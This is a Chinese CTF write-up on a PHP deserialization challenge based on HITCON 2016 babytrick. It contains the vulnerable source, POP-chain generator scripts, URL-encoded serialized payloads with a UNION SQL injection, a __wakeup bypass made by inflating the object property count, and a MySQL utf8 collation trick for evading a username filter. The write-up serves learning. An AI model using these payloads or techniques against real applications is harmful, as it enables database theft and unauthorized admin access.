一道PHP反序列化题目分析

是一道PHP反序列化的题目。
代码:

<?php 
include "config.php"; 
class TRICK{ 
    private $mayway; 
    private $aaaargs; 
    private $conn; 

    public function __construct($mayway, $aaaargs) { 
        $this-&gt;mayway = $mayway; 
        $this-&gt;aaaargs = $aaaargs; 
        $this->__conn(); 
    } 

    function display() { 
        list($fullnm) = func_get_args(); 
//       Here we go. 
        $sss = sprintf("SELECT * FROM users WHERE uname='%s'", $fullnm); 
        $yyy = $this->__query($sss); 
        if ( $yyy != false  ) { 
//           Your identity is... 
            $this-&gt;__die( sprintf("Ohhhhh,wwwwwelcome %s, %s!", $yyy->uname, $yyy->part) ); 
        } else { 
            $this->__die("What are you doing!"); 
        } 
    } 

    function enter() { 
        list($fullnm, $passwd) = func_get_args(); 
//       You need to enter! 
        global $ANS; 
        $sss = sprintf("SELECT * FROM users WHERE uname='%s' AND passwd='%s'", $fullnm, $passwd); 
        $yyy = $this->__query($sss); 
        if ( $yyy != false &amp;&amp; $yyy->part == 'admin'  ) { 
//           Here is the flag! 
            $this-&gt;__die("Flag: " . $ANS); 
        } else { 
            $this->__die("You are not admin!"); 
        } 
    } 

    function search() { 
        highlight_file(__FILE__); 
    } 

    function __conn() { 
        global $hhhh, $name, $user, $pswd, $DDDD; 
        if (!$this->conn) 
            $this-&gt;conn = mysql_connect($hhhh, $user, $pswd); 
        mysql_select_db($name, $this->conn); 
        if ($DDDD) { 
            $sss = "CREATE TABLE IF NOT EXISTS users (  
                        uname VARCHAR(64),  
                        passwd VARCHAR(64),  
                        part VARCHAR(64) 
                    ) CHARACTER SET utf8"; 
            $this-&gt;__query($sss, $behind=false); 
            $sss = "INSERT INTO users VALUES ('ahhhh', '$pswd', 'admin'), ('Ahhhh', 'admin', 'user')"; 
            $this-&gt;__query($sss, $behind=false); 
        } 

        mysql_query("SET names utf8"); 
        mysql_query("SET sql_mode = 'strict_all_tables'"); 
    } 

    function __query($sss, $behind=true) { 
        $res = @mysql_query($sss); 
        if ($behind) { 
            return @mysql_fetch_object($res); 
        } 
    } 

    function __die($message) { 
        $this->__close(); 
        header("Content-Type: application/json"); 
        die( json_encode( array("msg"=> $message) ) ); 
    } 

    function __close() { 
        mysql_close($this->conn); 
    } 

    function __destruct() { 
//       Congratulations, it's almost the end! 
        $this->__conn(); 
        if (in_array($this->mayway, array("display", "enter", "search"))) { 
            @call_user_func_array(array($this, $this->mayway), $this->aaaargs); 
        } else { 
            $this->__die("Noooooo."); 
        } 
        $this->__close(); 
    } 

    function __wakeup() { 
        foreach($this-&gt;aaaargs as $ccc => $bbb) { 
            $this-&gt;aaaargs[$ccc] = strtolower(trim(mysql_escape_string($bbb))); 
        } 
    } 
} 
if(isset($_GET["ohhhh"])) { 
    @unserialize($_GET["ohhhh"]); 
} else { 
    new TRICK("search", array()); 
} 
?> 

审计代码:
先看代码的最后发现了unserialize函数进行反序列化传入的ohhhh 参数,往上看是一个TRICK类,类中包含很多方法,发现enter()方法中要想得到flag,需要用admin登陆才可以,因此我们需要知道密码,display()方法中发现$fullnm参数没有经任何过滤直接拼接到sql语句中,因此可以用注入得到admin的密码,再找可以利用的方法,__destruct()方法中发现了可利用的方法,存在回调函数,因此可以利用回调函数来利用display()方法,再看一下数据库有关的信息,找到了数据库中相关表和字段的信息,另外发现__wakeup()方法需要绕过,POP链就可以构造了:

<?php
class TRICK{ 
    private $mayway="display"; 
    private $aaaargs=array("v' union select passwd,uname,part from users where uname = 'ahhhh'-- ");
    private $conn=0;
    }
$vv = new TRICK;
$data = serialize($vv);
echo (urlencode($data)); 

得到:

O%3A5%3A%22TRICK%22%3A3%3A%7Bs%3A13%3A%22%00TRICK%00mayway%22%3Bs%3A7%3A%22display%22%3Bs%3A14%3A%22%00TRICK%00aaaargs%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A69%3A%22v%27+union+select+passwd%2Cuname%2Cpart+from+users+where+uname+%3D+%27ahhhh%27--+%22%3B%7Ds%3A11%3A%22%00TRICK%00conn%22%3Bi%3A0%3B%7D

修改下payload绕过 __wakeup()方法:

O%3A5%3A%22TRICK%22%3A4%3A%7Bs%3A13%3A%22%00TRICK%00mayway%22%3Bs%3A7%3A%22display%22%3Bs%3A14%3A%22%00TRICK%00aaaargs%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A69%3A%22v%27+union+select+passwd%2Cuname%2Cpart+from+users+where+uname+%3D+%27ahhhh%27--+%22%3B%7Ds%3A11%3A%22%00TRICK%00conn%22%3Bi%3A0%3B%7D

就得到了密码。
然后再利用admin登陆下:

<?php
class TRICK{ 
    private $mayway; 
    private $aaaargs; 
    private $conn; 

    public function __construct($mayway, $aaaargs){ 
        $this-&gt;mayway = $mayway; 
        $this-&gt;aaaargs = $aaaargs; 
    } 
}

$aaaargs["uname"]="ahhhh";
$aaaargs["passwd"]="trickORtreat";
$vv = new TRICK("enter",$aaaargs);
$data = serialize($vv);
echo (urlencode($data));

得到并修改绕过 __wakeup()方法:

O%3A5%3A%22TRICK%22%3A4%3A%7Bs%3A13%3A%22%00TRICK%00mayway%22%3Bs%3A5%3A%22enter%22%3Bs%3A14%3A%22%00TRICK%00aaaargs%22%3Ba%3A2%3A%7Bs%3A5%3A%22uname%22%3Bs%3A5%3A%22ahhhh%22%3Bs%3A6%3A%22passwd%22%3Bs%3A12%3A%22trickORtreat%22%3B%7Ds%3A11%3A%22%00TRICK%00conn%22%3BN%3B%7D

得到flag。
这道题目是根据hitcon2016-babytrick改编的题目,原题还有个trick:

MYSQL 中 utf8_unicode_ci和utf8_general_ci两种编码格式,utf8_general_ci不区分大小写,Ä = A, Ö = O, Ü = U这三种条件都成立,对于utf8_general_ci下面的等式成立:ß=s,但是,对于utf8_unicode_ci下面等式才成立:ß = ss

原题代码:

<?php
include "config.php";
class HITCON{
    private $method;
    private $args;
    private $conn;
    public function __construct($method, $args) {
        $this-&gt;method = $method;
        $this-&gt;args = $args;
        $this->__conn();
    }
    function show() {
        list($username) = func_get_args();
        $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
        $obj = $this->__query($sql);
        if ( $obj != false  ) {
            $this-&gt;__die( sprintf("%s is %s", $obj->username, $obj->role) );
        } else {
            $this->__die("Nobody Nobody But You!");
        }

    }
    function login() {
        global $FLAG;
        list($username, $password) = func_get_args();
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));
        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
        if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
            $this->__die("Orange is so shy. He do not want to see you.");
        }
        $obj = $this->__query($sql);
        if ( $obj != false &amp;&amp; $obj->role == 'admin'  ) {
            $this-&gt;__die("Hi, Orange! Here is your flag: " . $FLAG);
        } else {
            $this->__die("Admin only!");
        }
    }
    function source() {
        highlight_file(__FILE__);
    }
    function __conn() {
        global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
        if (!$this->conn)
            $this-&gt;conn = mysql_connect($db_host, $db_user, $db_pass);
        mysql_select_db($db_name, $this->conn);
        if ($DEBUG) {
            $sql = "CREATE TABLE IF NOT EXISTS users ( 
                        username VARCHAR(64), 
                        password VARCHAR(64), 
                        role VARCHAR(64)
                    ) CHARACTER SET utf8";
            $this-&gt;__query($sql, $back=false);
            $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
            $this-&gt;__query($sql, $back=false);
        } 
        mysql_query("SET names utf8");
        mysql_query("SET sql_mode = 'strict_all_tables'");
    }
    function __query($sql, $back=true) {
        $result = @mysql_query($sql);
        if ($back) {
            return @mysql_fetch_object($result);
        }
    }
    function __die($msg) {
        $this->__close();
        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }
    function __close() {
        mysql_close($this->conn);
    }
    function __destruct() {
        $this->__conn();
        if (in_array($this->method, array("show", "login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        } else {
            $this->__die("What do you do?");
        }
        $this->__close();
    }
    function __wakeup() {
        foreach($this-&gt;args as $k => $v) {
            $this-&gt;args[$k] = strtolower(trim(mysql_escape_string($v)));
        }
    }
}
if(isset($_GET["data"])) {
    @unserialize($_GET["data"]);    
} else {
    new HITCON("source", array());
}

我们注意到原题登陆处还存在一处过滤,不允许管理员账户登陆:

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");

但是我们注意到:

mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");

mysql的编码设置为utf-8,所以根据上边的trick,在将mysql的编码设置为utf-8的时候,Ä = A, Ö = O, Ü = U,,左右两边的字符是可以相互替换的。这样就可以将0替换为Ö这样就可以绕过上面代码的检测,同时还可以能够正确地执行SQL语句。

1 + 8 =
快来做第一个评论的人吧~